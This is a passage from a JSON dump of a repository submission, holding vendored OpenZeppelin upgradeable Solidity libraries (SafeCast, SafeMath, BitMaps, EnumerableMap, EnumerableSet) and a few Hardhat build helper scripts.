toUint8(uint256 value) internal pure returns (uint8) {\n        require(value <= type(uint8).max, \"SafeCast: value doesn't fit in 8 bits\");\n        return uint8(value);\n    }\n\n    /**\n     * @dev Converts a signed int256 into an unsigned uint256.\n     *\n     * Requirements:\n     *\n     * - input must be greater than or equal to 0.\n     */\n    function toUint256(int256 value) internal pure returns (uint256) {\n        require(value >= 0, \"SafeCast: value must be positive\");\n        return uint256(value);\n    }\n\n    /**\n     * @dev Returns the downcasted int128 from int256, reverting on\n     * overflow (when the input is less than smallest int128 or\n     * greater than largest int128).\n     *\n     * Counterpart to Solidity's `int128` operator.\n     *\n     * Requirements:\n     *\n     * - input must fit into 128 bits\n     *\n     * _Available since v3.1._\n     */\n    function toInt128(int256 value) internal pure returns (int128) {\n        require(value >= type(int128).min && value <= type(int128).max, \"SafeCast: value doesn't fit in 128 bits\");\n        return int128(value);\n    }\n\n    /**\n     * @dev Returns the downcasted int64 from int256, reverting on\n     * overflow (when the input is less than smallest int64 or\n     * greater than largest int64).\n     *\n     * Counterpart to Solidity's `int64` operator.\n     *\n     * Requirements:\n     *\n     * - input must fit into 64 bits\n     *\n     * _Available since v3.1._\n     */\n    function toInt64(int256 value) internal pure returns (int64) {\n        require(value >= type(int64).min && value <= type(int64).max, \"SafeCast: value doesn't fit in 64 bits\");\n        return int64(value);\n    }\n\n    /**\n     * @dev Returns the downcasted int32 from int256, reverting on\n     * overflow (when the input is less than smallest int32 or\n     * greater than largest int32).\n     *\n     * Counterpart to Solidity's `int32` operator.\n     *\n     * Requirements:\n     *\n     * - input must fit into 32 bits\n     *\n     * _Available since v3.1._\n     */\n    function toInt32(int256 value) internal pure returns (int32) {\n        require(value >= type(int32).min && value <= type(int32).max, \"SafeCast: value doesn't fit in 32 bits\");\n        return int32(value);\n    }\n\n    /**\n     * @dev Returns the downcasted int16 from int256, reverting on\n     * overflow (when the input is less than smallest int16 or\n     * greater than largest int16).\n     *\n     * Counterpart to Solidity's `int16` operator.\n     *\n     * Requirements:\n     *\n     * - input must fit into 16 bits\n     *\n     * _Available since v3.1._\n     */\n    function toInt16(int256 value) internal pure returns (int16) {\n        require(value >= type(int16).min && value <= type(int16).max, \"SafeCast: value doesn't fit in 16 bits\");\n        return int16(value);\n    }\n\n    /**\n     * @dev Returns the downcasted int8 from int256, reverting on\n     * overflow (when the input is less than smallest int8 or\n     * greater than largest int8).\n     *\n     * Counterpart to Solidity's `int8` operator.\n     *\n     * Requirements:\n     *\n     * - input must fit into 8 bits.\n     *\n     * _Available since v3.1._\n     */\n    function toInt8(int256 value) internal pure returns (int8) {\n        require(value >= type(int8).min && value <= type(int8).max, \"SafeCast: value doesn't fit in 8 bits\");\n        return int8(value);\n    }\n\n    /**\n     * @dev Converts an unsigned uint256 into a signed int256.\n     *\n     * Requirements:\n     *\n     * - input must be less than or equal to maxInt256.\n     */\n    function toInt256(uint256 value) internal pure returns (int256) {\n        // Note: Unsafe cast below is okay because `type(int256).max` is guaranteed to be positive\n        require(value <= uint256(type(int256).max), \"SafeCast: value doesn't fit in an int256\");\n        return int256(value);\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/utils/math/SafeMathUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/math/SafeMath.sol)\n\npragma solidity ^0.8.0;\n\n// CAUTION\n// This version of SafeMath should only be used with Solidity 0.8 or later,\n// because it relies on the compiler's built in overflow checks.\n\n/**\n * @dev Wrappers over Solidity's arithmetic operations.\n *\n * NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler\n * now has built in overflow checking.\n */\nlibrary SafeMathUpgradeable {\n    /**\n     * @dev Returns the addition of two unsigned integers, with an overflow flag.\n     *\n     * _Available since v3.4._\n     */\n    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {\n        unchecked {\n            uint256 c = a + b;\n            if (c < a) return (false, 0);\n            return (true, c);\n        }\n    }\n\n    /**\n     * @dev Returns the substraction of two unsigned integers, with an overflow flag.\n     *\n     * _Available since v3.4._\n     */\n    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {\n        unchecked {\n            if (b > a) return (false, 0);\n            return (true, a - b);\n        }\n    }\n\n    /**\n     * @dev Returns the multiplication of two unsigned integers, with an overflow flag.\n     *\n     * _Available since v3.4._\n     */\n    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {\n        unchecked {\n            // Gas optimization: this is cheaper than requiring 'a' not being zero, but the\n            // benefit is lost if 'b' is also tested.\n            // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522\n            if (a == 0) return (true, 0);\n            uint256 c = a * b;\n            if (c / a != b) return (false, 0);\n            return (true, c);\n        }\n    }\n\n    /**\n     * @dev Returns the division of two unsigned integers, with a division by zero flag.\n     *\n     * _Available since v3.4._\n     */\n    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {\n        unchecked {\n            if (b == 0) return (false, 0);\n            return (true, a / b);\n        }\n    }\n\n    /**\n     * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.\n     *\n     * _Available since v3.4._\n     */\n    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {\n        unchecked {\n            if (b == 0) return (false, 0);\n            return (true, a % b);\n        }\n    }\n\n    /**\n     * @dev Returns the addition of two unsigned integers, reverting on\n     * overflow.\n     *\n     * Counterpart to Solidity's `+` operator.\n     *\n     * Requirements:\n     *\n     * - Addition cannot overflow.\n     */\n    function add(uint256 a, uint256 b) internal pure returns (uint256) {\n        return a + b;\n    }\n\n    /**\n     * @dev Returns the subtraction of two unsigned integers, reverting on\n     * overflow (when the result is negative).\n     *\n     * Counterpart to Solidity's `-` operator.\n     *\n     * Requirements:\n     *\n     * - Subtraction cannot overflow.\n     */\n    function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n        return a - b;\n    }\n\n    /**\n     * @dev Returns the multiplication of two unsigned integers, reverting on\n     * overflow.\n     *\n     * Counterpart to Solidity's `*` operator.\n     *\n     * Requirements:\n     *\n     * - Multiplication cannot overflow.\n     */\n    function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n        return a * b;\n    }\n\n    /**\n     * @dev Returns the integer division of two unsigned integers, reverting on\n     * division by zero. The result is rounded towards zero.\n     *\n     * Counterpart to Solidity's `/` operator.\n     *\n     * Requirements:\n     *\n     * - The divisor cannot be zero.\n     */\n    function div(uint256 a, uint256 b) internal pure returns (uint256) {\n        return a / b;\n    }\n\n    /**\n     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),\n     * reverting when dividing by zero.\n     *\n     * Counterpart to Solidity's `%` operator. This function uses a `revert`\n     * opcode (which leaves remaining gas untouched) while Solidity uses an\n     * invalid opcode to revert (consuming all remaining gas).\n     *\n     * Requirements:\n     *\n     * - The divisor cannot be zero.\n     */\n    function mod(uint256 a, uint256 b) internal pure returns (uint256) {\n        return a % b;\n    }\n\n    /**\n     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on\n     * overflow (when the result is negative).\n     *\n     * CAUTION: This function is deprecated because it requires allocating memory for the error\n     * message unnecessarily. For custom revert reasons use {trySub}.\n     *\n     * Counterpart to Solidity's `-` operator.\n     *\n     * Requirements:\n     *\n     * - Subtraction cannot overflow.\n     */\n    function sub(\n        uint256 a,\n        uint256 b,\n        string memory errorMessage\n    ) internal pure returns (uint256) {\n        unchecked {\n            require(b <= a, errorMessage);\n            return a - b;\n        }\n    }\n\n    /**\n     * @dev Returns the integer division of two unsigned integers, reverting with custom message on\n     * division by zero. The result is rounded towards zero.\n     *\n     * Counterpart to Solidity's `/` operator. Note: this function uses a\n     * `revert` opcode (which leaves remaining gas untouched) while Solidity\n     * uses an invalid opcode to revert (consuming all remaining gas).\n     *\n     * Requirements:\n     *\n     * - The divisor cannot be zero.\n     */\n    function div(\n        uint256 a,\n        uint256 b,\n        string memory errorMessage\n    ) internal pure returns (uint256) {\n        unchecked {\n            require(b > 0, errorMessage);\n            return a / b;\n        }\n    }\n\n    /**\n     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),\n     * reverting with custom message when dividing by zero.\n     *\n     * CAUTION: This function is deprecated because it requires allocating memory for the error\n     * message unnecessarily. For custom revert reasons use {tryMod}.\n     *\n     * Counterpart to Solidity's `%` operator. This function uses a `revert`\n     * opcode (which leaves remaining gas untouched) while Solidity uses an\n     * invalid opcode to revert (consuming all remaining gas).\n     *\n     * Requirements:\n     *\n     * - The divisor cannot be zero.\n     */\n    function mod(\n        uint256 a,\n        uint256 b,\n        string memory errorMessage\n    ) internal pure returns (uint256) {\n        unchecked {\n            require(b > 0, errorMessage);\n            return a % b;\n        }\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/utils/math/SignedSafeMathUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/math/SignedSafeMath.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Wrappers over Solidity's arithmetic operations.\n *\n * NOTE: `SignedSafeMath` is no longer needed starting with Solidity 0.8. The compiler\n * now has built in overflow checking.\n */\nlibrary SignedSafeMathUpgradeable {\n    /**\n     * @dev Returns the multiplication of two signed integers, reverting on\n     * overflow.\n     *\n     * Counterpart to Solidity's `*` operator.\n     *\n     * Requirements:\n     *\n     * - Multiplication cannot overflow.\n     */\n    function mul(int256 a, int256 b) internal pure returns (int256) {\n        return a * b;\n    }\n\n    /**\n     * @dev Returns the integer division of two signed integers. Reverts on\n     * division by zero. The result is rounded towards zero.\n     *\n     * Counterpart to Solidity's `/` operator.\n     *\n     * Requirements:\n     *\n     * - The divisor cannot be zero.\n     */\n    function div(int256 a, int256 b) internal pure returns (int256) {\n        return a / b;\n    }\n\n    /**\n     * @dev Returns the subtraction of two signed integers, reverting on\n     * overflow.\n     *\n     * Counterpart to Solidity's `-` operator.\n     *\n     * Requirements:\n     *\n     * - Subtraction cannot overflow.\n     */\n    function sub(int256 a, int256 b) internal pure returns (int256) {\n        return a - b;\n    }\n\n    /**\n     * @dev Returns the addition of two signed integers, reverting on\n     * overflow.\n     *\n     * Counterpart to Solidity's `+` operator.\n     *\n     * Requirements:\n     *\n     * - Addition cannot overflow.\n     */\n    function add(int256 a, int256 b) internal pure returns (int256) {\n        return a + b;\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/utils/structs/BitMapsUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/structs/BitMaps.sol)\npragma solidity ^0.8.0;\n\n/**\n * @dev Library for managing uint256 to bool mapping in a compact and efficient way, providing the keys are sequential.\n * Largelly inspired by Uniswap's https://github.com/Uniswap/merkle-distributor/blob/master/contracts/MerkleDistributor.sol[merkle-distributor].\n */\nlibrary BitMapsUpgradeable {\n    struct BitMap {\n        mapping(uint256 => uint256) _data;\n    }\n\n    /**\n     * @dev Returns whether the bit at `index` is set.\n     */\n    function get(BitMap storage bitmap, uint256 index) internal view returns (bool) {\n        uint256 bucket = index >> 8;\n        uint256 mask = 1 << (index & 0xff);\n        return bitmap._data[bucket] & mask != 0;\n    }\n\n    /**\n     * @dev Sets the bit at `index` to the boolean `value`.\n     */\n    function setTo(\n        BitMap storage bitmap,\n        uint256 index,\n        bool value\n    ) internal {\n        if (value) {\n            set(bitmap, index);\n        } else {\n            unset(bitmap, index);\n        }\n    }\n\n    /**\n     * @dev Sets the bit at `index`.\n     */\n    function set(BitMap storage bitmap, uint256 index) internal {\n        uint256 bucket = index >> 8;\n        uint256 mask = 1 << (index & 0xff);\n        bitmap._data[bucket] |= mask;\n    }\n\n    /**\n     * @dev Unsets the bit at `index`.\n     */\n    function unset(BitMap storage bitmap, uint256 index) internal {\n        uint256 bucket = index >> 8;\n        uint256 mask = 1 << (index & 0xff);\n        bitmap._data[bucket] &= ~mask;\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/utils/structs/EnumerableMapUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/structs/EnumerableMap.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./EnumerableSetUpgradeable.sol\";\n\n/**\n * @dev Library for managing an enumerable variant of Solidity's\n * https://solidity.readthedocs.io/en/latest/types.html#mapping-types[`mapping`]\n * type.\n *\n * Maps have the following properties:\n *\n * - Entries are added, removed, and checked for existence in constant time\n * (O(1)).\n * - Entries are enumerated in O(n). No guarantees are made on the ordering.\n *\n * ```\n * contract Example {\n *     // Add the library methods\n *     using EnumerableMap for EnumerableMap.UintToAddressMap;\n *\n *     // Declare a set state variable\n *     EnumerableMap.UintToAddressMap private myMap;\n * }\n * ```\n *\n * As of v3.0.0, only maps of type `uint256 -> address` (`UintToAddressMap`) are\n * supported.\n */\nlibrary EnumerableMapUpgradeable {\n    using EnumerableSetUpgradeable for EnumerableSetUpgradeable.Bytes32Set;\n\n    // To implement this library for multiple types with as little code\n    // repetition as possible, we write it in terms of a generic Map type with\n    // bytes32 keys and values.\n    // The Map implementation uses private functions, and user-facing\n    // implementations (such as Uint256ToAddressMap) are just wrappers around\n    // the underlying Map.\n    // This means that we can only create new EnumerableMaps for types that fit\n    // in bytes32.\n\n    struct Map {\n        // Storage of keys\n        EnumerableSetUpgradeable.Bytes32Set _keys;\n        mapping(bytes32 => bytes32) _values;\n    }\n\n    /**\n     * @dev Adds a key-value pair to a map, or updates the value for an existing\n     * key. O(1).\n     *\n     * Returns true if the key was added to the map, that is if it was not\n     * already present.\n     */\n    function _set(\n        Map storage map,\n        bytes32 key,\n        bytes32 value\n    ) private returns (bool) {\n        map._values[key] = value;\n        return map._keys.add(key);\n    }\n\n    /**\n     * @dev Removes a key-value pair from a map. O(1).\n     *\n     * Returns true if the key was removed from the map, that is if it was present.\n     */\n    function _remove(Map storage map, bytes32 key) private returns (bool) {\n        delete map._values[key];\n        return map._keys.remove(key);\n    }\n\n    /**\n     * @dev Returns true if the key is in the map. O(1).\n     */\n    function _contains(Map storage map, bytes32 key) private view returns (bool) {\n        return map._keys.contains(key);\n    }\n\n    /**\n     * @dev Returns the number of key-value pairs in the map. O(1).\n     */\n    function _length(Map storage map) private view returns (uint256) {\n        return map._keys.length();\n    }\n\n    /**\n     * @dev Returns the key-value pair stored at position `index` in the map. O(1).\n     *\n     * Note that there are no guarantees on the ordering of entries inside the\n     * array, and it may change when more entries are added or removed.\n     *\n     * Requirements:\n     *\n     * - `index` must be strictly less than {length}.\n     */\n    function _at(Map storage map, uint256 index) private view returns (bytes32, bytes32) {\n        bytes32 key = map._keys.at(index);\n        return (key, map._values[key]);\n    }\n\n    /**\n     * @dev Tries to returns the value associated with `key`.  O(1).\n     * Does not revert if `key` is not in the map.\n     */\n    function _tryGet(Map storage map, bytes32 key) private view returns (bool, bytes32) {\n        bytes32 value = map._values[key];\n        if (value == bytes32(0)) {\n            return (_contains(map, key), bytes32(0));\n        } else {\n            return (true, value);\n        }\n    }\n\n    /**\n     * @dev Returns the value associated with `key`.  O(1).\n     *\n     * Requirements:\n     *\n     * - `key` must be in the map.\n     */\n    function _get(Map storage map, bytes32 key) private view returns (bytes32) {\n        bytes32 value = map._values[key];\n        require(value != 0 || _contains(map, key), \"EnumerableMap: nonexistent key\");\n        return value;\n    }\n\n    /**\n     * @dev Same as {_get}, with a custom error message when `key` is not in the map.\n     *\n     * CAUTION: This function is deprecated because it requires allocating memory for the error\n     * message unnecessarily. For custom revert reasons use {_tryGet}.\n     */\n    function _get(\n        Map storage map,\n        bytes32 key,\n        string memory errorMessage\n    ) private view returns (bytes32) {\n        bytes32 value = map._values[key];\n        require(value != 0 || _contains(map, key), errorMessage);\n        return value;\n    }\n\n    // UintToAddressMap\n\n    struct UintToAddressMap {\n        Map _inner;\n    }\n\n    /**\n     * @dev Adds a key-value pair to a map, or updates the value for an existing\n     * key. O(1).\n     *\n     * Returns true if the key was added to the map, that is if it was not\n     * already present.\n     */\n    function set(\n        UintToAddressMap storage map,\n        uint256 key,\n        address value\n    ) internal returns (bool) {\n        return _set(map._inner, bytes32(key), bytes32(uint256(uint160(value))));\n    }\n\n    /**\n     * @dev Removes a value from a set. O(1).\n     *\n     * Returns true if the key was removed from the map, that is if it was present.\n     */\n    function remove(UintToAddressMap storage map, uint256 key) internal returns (bool) {\n        return _remove(map._inner, bytes32(key));\n    }\n\n    /**\n     * @dev Returns true if the key is in the map. O(1).\n     */\n    function contains(UintToAddressMap storage map, uint256 key) internal view returns (bool) {\n        return _contains(map._inner, bytes32(key));\n    }\n\n    /**\n     * @dev Returns the number of elements in the map. O(1).\n     */\n    function length(UintToAddressMap storage map) internal view returns (uint256) {\n        return _length(map._inner);\n    }\n\n    /**\n     * @dev Returns the element stored at position `index` in the set. O(1).\n     * Note that there are no guarantees on the ordering of values inside the\n     * array, and it may change when more values are added or removed.\n     *\n     * Requirements:\n     *\n     * - `index` must be strictly less than {length}.\n     */\n    function at(UintToAddressMap storage map, uint256 index) internal view returns (uint256, address) {\n        (bytes32 key, bytes32 value) = _at(map._inner, index);\n        return (uint256(key), address(uint160(uint256(value))));\n    }\n\n    /**\n     * @dev Tries to returns the value associated with `key`.  O(1).\n     * Does not revert if `key` is not in the map.\n     *\n     * _Available since v3.4._\n     */\n    function tryGet(UintToAddressMap storage map, uint256 key) internal view returns (bool, address) {\n        (bool success, bytes32 value) = _tryGet(map._inner, bytes32(key));\n        return (success, address(uint160(uint256(value))));\n    }\n\n    /**\n     * @dev Returns the value associated with `key`.  O(1).\n     *\n     * Requirements:\n     *\n     * - `key` must be in the map.\n     */\n    function get(UintToAddressMap storage map, uint256 key) internal view returns (address) {\n        return address(uint160(uint256(_get(map._inner, bytes32(key)))));\n    }\n\n    /**\n     * @dev Same as {get}, with a custom error message when `key` is not in the map.\n     *\n     * CAUTION: This function is deprecated because it requires allocating memory for the error\n     * message unnecessarily. For custom revert reasons use {tryGet}.\n     */\n    function get(\n        UintToAddressMap storage map,\n        uint256 key,\n        string memory errorMessage\n    ) internal view returns (address) {\n        return address(uint160(uint256(_get(map._inner, bytes32(key), errorMessage))));\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/utils/structs/EnumerableSetUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/structs/EnumerableSet.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Library for managing\n * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive\n * types.\n *\n * Sets have the following properties:\n *\n * - Elements are added, removed, and checked for existence in constant time\n * (O(1)).\n * - Elements are enumerated in O(n). No guarantees are made on the ordering.\n *\n * ```\n * contract Example {\n *     // Add the library methods\n *     using EnumerableSet for EnumerableSet.AddressSet;\n *\n *     // Declare a set state variable\n *     EnumerableSet.AddressSet private mySet;\n * }\n * ```\n *\n * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`)\n * and `uint256` (`UintSet`) are supported.\n */\nlibrary EnumerableSetUpgradeable {\n    // To implement this library for multiple types with as little code\n    // repetition as possible, we write it in terms of a generic Set type with\n    // bytes32 values.\n    // The Set implementation uses private functions, and user-facing\n    // implementations (such as AddressSet) are just wrappers around the\n    // underlying Set.\n    // This means that we can only create new EnumerableSets for types that fit\n    // in bytes32.\n\n    struct Set {\n        // Storage of set values\n        bytes32[] _values;\n        // Position of the value in the `values` array, plus 1 because index 0\n        // means a value is not in the set.\n        mapping(bytes32 => uint256) _indexes;\n    }\n\n    /**\n     * @dev Add a value to a set. O(1).\n     *\n     * Returns true if the value was added to the set, that is if it was not\n     * already present.\n     */\n    function _add(Set storage set, bytes32 value) private returns (bool) {\n        if (!_contains(set, value)) {\n            set._values.push(value);\n            // The value is stored at length-1, but we add 1 to all indexes\n            // and use 0 as a sentinel value\n            set._indexes[value] = set._values.length;\n            return true;\n        } else {\n            return false;\n        }\n    }\n\n    /**\n     * @dev Removes a value from a set. O(1).\n     *\n     * Returns true if the value was removed from the set, that is if it was\n     * present.\n     */\n    function _remove(Set storage set, bytes32 value) private returns (bool) {\n        // We read and store the value's index to prevent multiple reads from the same storage slot\n        uint256 valueIndex = set._indexes[value];\n\n        if (valueIndex != 0) {\n            // Equivalent to contains(set, value)\n            // To delete an element from the _values array in O(1), we swap the element to delete with the last one in\n            // the array, and then remove the last element (sometimes called as 'swap and pop').\n            // This modifies the order of the array, as noted in {at}.\n\n            uint256 toDeleteIndex = valueIndex - 1;\n            uint256 lastIndex = set._values.length - 1;\n\n            if (lastIndex != toDeleteIndex) {\n                bytes32 lastvalue = set._values[lastIndex];\n\n                // Move the last value to the index where the value to delete is\n                set._values[toDeleteIndex] = lastvalue;\n                // Update the index for the moved value\n                set._indexes[lastvalue] = valueIndex; // Replace lastvalue's index to valueIndex\n            }\n\n            // Delete the slot where the moved value was stored\n            set._values.pop();\n\n            // Delete the index for the deleted slot\n            delete set._indexes[value];\n\n            return true;\n        } else {\n            return false;\n        }\n    }\n\n    /**\n     * @dev Returns true if the value is in the set. O(1).\n     */\n    function _contains(Set storage set, bytes32 value) private view returns (bool) {\n        return set._indexes[value] != 0;\n    }\n\n    /**\n     * @dev Returns the number of values on the set. O(1).\n     */\n    function _length(Set storage set) private view returns (uint256) {\n        return set._values.length;\n    }\n\n    /**\n     * @dev Returns the value stored at position `index` in the set. O(1).\n     *\n     * Note that there are no guarantees on the ordering of values inside the\n     * array, and it may change when more values are added or removed.\n     *\n     * Requirements:\n     *\n     * - `index` must be strictly less than {length}.\n     */\n    function _at(Set storage set, uint256 index) private view returns (bytes32) {\n        return set._values[index];\n    }\n\n    /**\n     * @dev Return the entire set in an array\n     *\n     * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed\n     * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that\n     * this function has an unbounded cost, and using it as part of a state-changing function may render the function\n     * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.\n     */\n    function _values(Set storage set) private view returns (bytes32[] memory) {\n        return set._values;\n    }\n\n    // Bytes32Set\n\n    struct Bytes32Set {\n        Set _inner;\n    }\n\n    /**\n     * @dev Add a value to a set. O(1).\n     *\n     * Returns true if the value was added to the set, that is if it was not\n     * already present.\n     */\n    function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {\n        return _add(set._inner, value);\n    }\n\n    /**\n     * @dev Removes a value from a set. O(1).\n     *\n     * Returns true if the value was removed from the set, that is if it was\n     * present.\n     */\n    function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {\n        return _remove(set._inner, value);\n    }\n\n    /**\n     * @dev Returns true if the value is in the set. O(1).\n     */\n    function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {\n        return _contains(set._inner, value);\n    }\n\n    /**\n     * @dev Returns the number of values in the set. O(1).\n     */\n    function length(Bytes32Set storage set) internal view returns (uint256) {\n        return _length(set._inner);\n    }\n\n    /**\n     * @dev Returns the value stored at position `index` in the set. O(1).\n     *\n     * Note that there are no guarantees on the ordering of values inside the\n     * array, and it may change when more values are added or removed.\n     *\n     * Requirements:\n     *\n     * - `index` must be strictly less than {length}.\n     */\n    function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {\n        return _at(set._inner, index);\n    }\n\n    /**\n     * @dev Return the entire set in an array\n     *\n     * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed\n     * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that\n     * this function has an unbounded cost, and using it as part of a state-changing function may render the function\n     * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.\n     */\n    function values(Bytes32Set storage set) internal view returns (bytes32[] memory) {\n        return _values(set._inner);\n    }\n\n    // AddressSet\n\n    struct AddressSet {\n        Set _inner;\n    }\n\n    /**\n     * @dev Add a value to a set. O(1).\n     *\n     * Returns true if the value was added to the set, that is if it was not\n     * already present.\n     */\n    function add(AddressSet storage set, address value) internal returns (bool) {\n        return _add(set._inner, bytes32(uint256(uint160(value))));\n    }\n\n    /**\n     * @dev Removes a value from a set. O(1).\n     *\n     * Returns true if the value was removed from the set, that is if it was\n     * present.\n     */\n    function remove(AddressSet storage set, address value) internal returns (bool) {\n        return _remove(set._inner, bytes32(uint256(uint160(value))));\n    }\n\n    /**\n     * @dev Returns true if the value is in the set. O(1).\n     */\n    function contains(AddressSet storage set, address value) internal view returns (bool) {\n        return _contains(set._inner, bytes32(uint256(uint160(value))));\n    }\n\n    /**\n     * @dev Returns the number of values in the set. O(1).\n     */\n    function length(AddressSet storage set) internal view returns (uint256) {\n        return _length(set._inner);\n    }\n\n    /**\n     * @dev Returns the value stored at position `index` in the set. O(1).\n     *\n     * Note that there are no guarantees on the ordering of values inside the\n     * array, and it may change when more values are added or removed.\n     *\n     * Requirements:\n     *\n     * - `index` must be strictly less than {length}.\n     */\n    function at(AddressSet storage set, uint256 index) internal view returns (address) {\n        return address(uint160(uint256(_at(set._inner, index))));\n    }\n\n    /**\n     * @dev Return the entire set in an array\n     *\n     * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed\n     * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that\n     * this function has an unbounded cost, and using it as part of a state-changing function may render the function\n     * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.\n     */\n    function values(AddressSet storage set) internal view returns (address[] memory) {\n        bytes32[] memory store = _values(set._inner);\n        address[] memory result;\n\n        assembly {\n            result := store\n        }\n\n        return result;\n    }\n\n    // UintSet\n\n    struct UintSet {\n        Set _inner;\n    }\n\n    /**\n     * @dev Add a value to a set. O(1).\n     *\n     * Returns true if the value was added to the set, that is if it was not\n     * already present.\n     */\n    function add(UintSet storage set, uint256 value) internal returns (bool) {\n        return _add(set._inner, bytes32(value));\n    }\n\n    /**\n     * @dev Removes a value from a set. O(1).\n     *\n     * Returns true if the value was removed from the set, that is if it was\n     * present.\n     */\n    function remove(UintSet storage set, uint256 value) internal returns (bool) {\n        return _remove(set._inner, bytes32(value));\n    }\n\n    /**\n     * @dev Returns true if the value is in the set. O(1).\n     */\n    function contains(UintSet storage set, uint256 value) internal view returns (bool) {\n        return _contains(set._inner, bytes32(value));\n    }\n\n    /**\n     * @dev Returns the number of values on the set. O(1).\n     */\n    function length(UintSet storage set) internal view returns (uint256) {\n        return _length(set._inner);\n    }\n\n    /**\n     * @dev Returns the value stored at position `index` in the set. O(1).\n     *\n     * Note that there are no guarantees on the ordering of values inside the\n     * array, and it may change when more values are added or removed.\n     *\n     * Requirements:\n     *\n     * - `index` must be strictly less than {length}.\n     */\n    function at(UintSet storage set, uint256 index) internal view returns (uint256) {\n        return uint256(_at(set._inner, index));\n    }\n\n    /**\n     * @dev Return the entire set in an array\n     *\n     * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed\n     * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that\n     * this function has an unbounded cost, and using it as part of a state-changing function may render the function\n     * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.\n     */\n    function values(UintSet storage set) internal view returns (uint256[] memory) {\n        bytes32[] memory store = _values(set._inner);\n        uint256[] memory result;\n\n        assembly {\n            result := store\n        }\n\n        return result;\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/hardhat/env-artifacts.js",
    "content": "const { HardhatError } = require('hardhat/internal/core/errors');\n\nextendEnvironment(env => {\n  const artifactsRequire = env.artifacts.require;\n\n  env.artifacts.require = (name) => {\n    for (const suffix of ['UpgradeableWithInit', 'Upgradeable', '']) {\n      try {\n        return artifactsRequire(name + suffix);\n      } catch (e) {\n        if (HardhatError.isHardhatError(e) && e.number === 700 && suffix !== '') {\n          continue;\n        } else {\n          throw e;\n        }\n      }\n    }\n    throw new Error('Unreachable');\n  };\n});\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/hardhat/env-contract.js",
    "content": "extendEnvironment(env => {\n  const { contract } = env;\n\n  env.contract = function (name, body) {\n    // remove the default account from the accounts list used in tests, in order\n    // to protect tests against accidentally passing due to the contract\n    // deployer being used subsequently as function caller\n    contract(name, accounts => body(accounts.slice(1)));\n  };\n});\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/hardhat/task-get-compiler-input.js",
    "content": "// adds storageLayout to solc outputSelection, necessary for storage gaps\n\nconst { internalTask } = require('hardhat/config');\nconst { TASK_COMPILE_SOLIDITY_GET_COMPILER_INPUT } = require('hardhat/builtin-tasks/task-names');\n\ninternalTask(TASK_COMPILE_SOLIDITY_GET_COMPILER_INPUT, async (args, bre, runSuper) => {\n  const input = await runSuper();\n  input.settings.outputSelection['*']['*'].push('storageLayout');\n  return input;\n});\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/hardhat/task-test-get-files.js",
